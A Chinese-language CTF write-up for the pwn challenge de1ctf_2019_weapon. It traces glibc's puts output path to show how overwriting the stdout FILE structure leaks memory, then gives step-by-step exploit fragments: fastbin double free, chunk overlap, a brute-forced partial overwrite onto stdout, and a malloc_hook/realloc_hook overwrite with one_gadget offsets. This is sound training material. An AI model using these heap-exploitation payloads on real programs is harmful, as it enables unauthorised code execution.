目录
一、题目描述
名称:de1ctf_2019_weapon
类别:Pwn
知识点:Fast Bin Attach + IO_FILE利用(stdout)
难度系数:中等
赛题链接:BUUCTF在线评测
适用条件:存在可利用堆块(如UAF),但无show函数
二、题目分析
1.检查保护
2.漏洞分析
2.1 先扔到IDA中查看,共有三个功能,分别查看一下每个功能的实现。
2.2 第一个功能create,限制了申请堆块大小在0x60以内,属于fastbin thunk。
2.3 第二个功能delete,一眼顶针存在UAF,释放堆块后未置空,可以尝试打fastbin attack。
2.4 第三个功能edit,正常修改。由于保护全开,没法直接打got,可以尝试打malloc hook,但同时由于题目没有提供show函数,所以就轮到今天的主角IO stdout登场了。
3._IO_2_1_stdout_利用详解
3.1 在Linux中提到输出,大家一定会想到puts之类的库函数,那在puts之下还有没有更底层的实现呢?答案是有的。为了增强调用链理解,建议手动步入puts函数,全流程跟一遍。 这里给大家推荐一个阅读glibc源码的网站Glibc source code (glibc-2.35) - Bootlin,可以通过右上角搜索函数定义和被调用的位置。
3.2 找一个带符号的程序,用gdb启动并对puts函数下断,run起来,用bl查看当前断点列表。通过上边的网站查看对应目录下的源码,发现是_IO_puts函数,源码放在下边了,同时我写了一些注释,方便师傅们理解。由源码可知,puts函数是由_IO_puts函数实现的,_IO_puts函数又调用了_IO_sputn,我们接着跟。
int
_IO_puts (const char *str)
{
int result = EOF; // 初始化返回值为 EOF,表示失败状态
size_t len = strlen (str); // 计算传入字符串的长度
_IO_acquire_lock (stdout); // 锁定 stdout,防止并发访问
// 检查 stdout 的虚表偏移值是否为 0,确保它是字节流模式
// 然后使用 _IO_sputn 函数将字符串写入 stdout,如果成功,再写入 '\n'
if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len // 调用_IO_sputn,写入字符串
&& _IO_putc_unlocked ('\n', stdout) != EOF) // 写入换行符
result = MIN (INT_MAX, len + 1); // 成功时,返回写入字符数(字符串长度+换行符)
_IO_release_lock (stdout); // 解锁 stdout
return result;
}
3.3 用si跟进_IO_sputn函数,发现它调用了_IO_sputn函数,_IO_sputn实际上是一个宏,它指向了_IO_2_1_stdout_的vtable中的__xsputn(源码可看glibc-2.35 - libioP.h#L176),函数名为_IO_new_file_xsputn,函数源码如下:
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
细读一下:
① _IO_new_file_xsputn传入了三个参数(FILE *f:指向目标文件的指针,const void *data:要写入的数据指针,size_t n:要写入的字节数);
② 先判断n是否大于0,如果大于0则进入缓冲区处理,否则返回0;接着,检查可用缓冲区大小,根据标志位判断是否使用行缓冲,并计算当前缓冲区的可用空间(count);
③ 如果缓冲区有可用空间,函数将尽可能多地从 data 中复制数据到缓冲区,同时更新待写入字节数;
④ 如果还有待写入的数据(to_do)或者需要强制刷新(must_flush标志位为1),调用 _IO_OVERFLOW 尝试刷新缓冲区,若刷新失败并且没有更多数据需要写入,则返回EOF;
⑤ 计算要写入的块大小和实际要写入的字节数do_write,如果有可写字节,调用new_do_write将数据写入文件,更新 to_do,并检查写入的字节数是否少于 do_write,如果是,则返回已成功写入的字节数。
⑥ 最后,如果还有剩余待写入的数据,调用 _IO_default_xsputn 处理这些数据。
3.4 所以此处有两个关键调用,_IO_OVERFLOW和new_do_write。这里我们先看_IO_OVERFLOW,它同样是一个宏,具体实现在_IO_new_file_overflow函数中。源码如下:
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
可以发现,这个函数中最关键的就是调用_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base),第一个参数为stdout结构体、第二个参数为输出缓冲区起始地址、第三个参数为输出大小。我们的目标也是进入该分支,因此要同时满足 (f->_flags & _IO_NO_WRITES) ==0 和 (f->_flags & _IO_CURRENTLY_PUTTING) == 1 来绕过前两个if分支。
因此在满足两个绕过条件的情况下,如果能控制f->_IO_write_base,就能泄露任意地址数据。_IO_do_write里边也是调用了new_do_write函数,参数一致。
3.5 接着再看 new_do_write 函数,发现其调用了 _IO_SYSWRITE 函数,到这里就不用再继续跟了,因为 _IO_SYSWRITE 函数负责将数据从用户空间写到内核空间,我们只关注用户态数据即可。由于else if分支中使用的_IO_SYSSEEK函数第二个参数是 (fp->_IO_write_base - fp->_IO_read_end),而遇到的题目基本都是只能覆盖末尾修改_IO_write_base,所以要避免进入else if,所以要满足(fp->_flags & _IO_IS_APPENDING) == 1。
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
3.6 函数调用链小结:
_IO_puts => _IO_new_file_xsputn => _IO_OVERFLOW =>
_IO_do_write => new_do_write => _IO_SYSWRITE
3.7 将需要满足的绕过条件取并集,最终就是将stdout 结构体的 _flags 值修改为 0xfbad1800,把_IO_write_base 设为想泄露地址的起始位置即可。
三、漏洞利用
① 回到题目,现在有UAF,可以做fastbin double free,形成chunk1=>chunk2=>chunk1。为了申请到有libc的地址,第一时间想到了unsorted bin第一个进来的free chunk的fd指向了main_arena+88这个libc地址,但由于我们只能申请最大0x60的fastbin块,考虑先使用UAF形成堆块重叠,创造一个fake chunk从而在释放后放入unsorted bin,此时该堆块fd就指向了main_arena+88,再把这个堆块改回到fastbin链上就能把main_arena+88也放到fastbin链上。接下来我们逐步实操。
② 上边忘记说了,题目libc版本是2.23,可以使用glibc-all-in-one下载对应的libc版本,然后通过patchelf修改ld和libc,尽量不要自己手动下载libc,因为你下的不带符号,调试时gdb会无法显示bins等内容。
② 首先申请三个0x60大小的堆块和一个0x20大小的堆块(防合并到Top chunk),将1和0两个堆块依次释放,再edit(0,b'\x50'),将堆块1的fd的抬到堆块0的上方。(下面步骤的地址会和这张图有些不同,因为每次重启程序基址都会变,关注末尾三字节和size即可)
create(0x60,0,"aa")
create(0x60,1,"bb")
create(0x60,2,"cc")
create(0x20,3,"dd")#防合并
delete(1)
delete(0)
edit(0,b'\x50')
③ 接着,把chunk0申请回来(fastbin是后进先出),堆块内容帮50结尾的堆块伪造一个0x71的size;当然,这个50结尾的堆块就是chunk0的fd指向的地址,当我们再申请一个0x60大小的堆块时就把它申请回来了。至此,我们完成了堆块重叠,可以修改原chunk1的size大小来创造unsorted bin chunk。
create(0x60,4,p64(0)*9+p64(0x71))
create(0x60,5,p64(0)*3+p64(0xe1))
④ 然后,我们依次释放堆块1、0、2,堆块0和堆块2自然放到了fastbin链上,堆块1由于被修改了size,所以被放到了unsorted bin链上,且堆块1的fd指向了main_arena+88。当我们修改堆块2的fd指向堆块1时,就会自动将堆块1和main_arena+88放到fastbin链上(因为fd指向)。下面两张图分别是edit前后。
delete(1)
delete(0)
delete(2)
print("=======================================")
edit(2,b'\x70')
⑤ 为了将fastbin链上带有libc地址的堆块申请回来,要先将堆块1的size从0xe1改回0x71,这里利用堆叠的堆块5即可;这还不够,在下一次申请堆块时的size合法,我们还要把堆块1的fd末尾两字节覆盖成0x?5dd,之所以用问号,是因为地址随机化不影响地址后三位,但倒数第二字节高位我们无法判断,所以这里就需要爆破,也就是从0到f,1/16的概率。
edit(5,p64(0)*3+p64(0x71)+b'\xdd\xd5')
⑥ 再写细一点,为什么要改成0x?5dd?这里有个小技巧,在stdout - 0x43的位置存在一个0x7f数据,从减的数据不是整数而是dd和43就能知道这里使用了错位的技巧,这个7f本是一个地址的开头,为了申请到合法的堆块,我们将其作为size,同时这个size也是7?,正好符合fastbin chunk大小且末字节不为0。本题libc2.23的stdout是0x3C5620,后三字节0x620减去0x43正好是0x5dd。
⑦ 我们可以用上一章节的技巧覆盖stdout结构体,修改_flags为0xfbad1800,泄露出的地址是_IO_2_1_stderr_+192的地址。
create(0x60,7,b'ee')
create(0x60,8,b'ff')
create(0x60,9,b'\x00'*3+p64(0)*6+p64(0xfbad1877)+p64(0)*3+b'\x00')
⑧ 最后劫持malloc_hook,如同⑥中提到的错位0x7f一样,在malloc_hook-0x23同样有一个0x7f,借此将malloc_hook申请出来,但malloc_hook不好用(ogg条件不满足),因此将malloc_hook写为realloc,realloc函数开头有调整栈值的指令(pop和push,具体参考奇安信攻防社区-[CTF-PWN] Hook函数劫持),将realloc_hook(在malloc_hook下)覆盖为ogg即可。
leak_libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak_libc_addr-libc.sym["_IO_2_1_stderr_"]-192
malloc_hook = libc_base+libc.symbols["__malloc_hook"]
ogg_list=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg_addr = libc_base+ogg_list[1]
create(0x60,10,"gg")
delete(0)
edit(0,p64(malloc_hook-0x23))
create(0x60,11,"hh")
create(0x60,12,b'\x00'*11+p64(ogg_addr)+p64(libc_base+libc.sym['realloc']+4))
p.sendlineafter(b'choice >>',str(1))
p.sendlineafter(b'weapon: ',str(40))
p.sendlineafter(b'index: ',str(40))
四、EXP
依然不给完整EXP嗷,上边每块都写的很详细了,尝试自己写一遍,外层套个循环爆破即可。点个赞吧~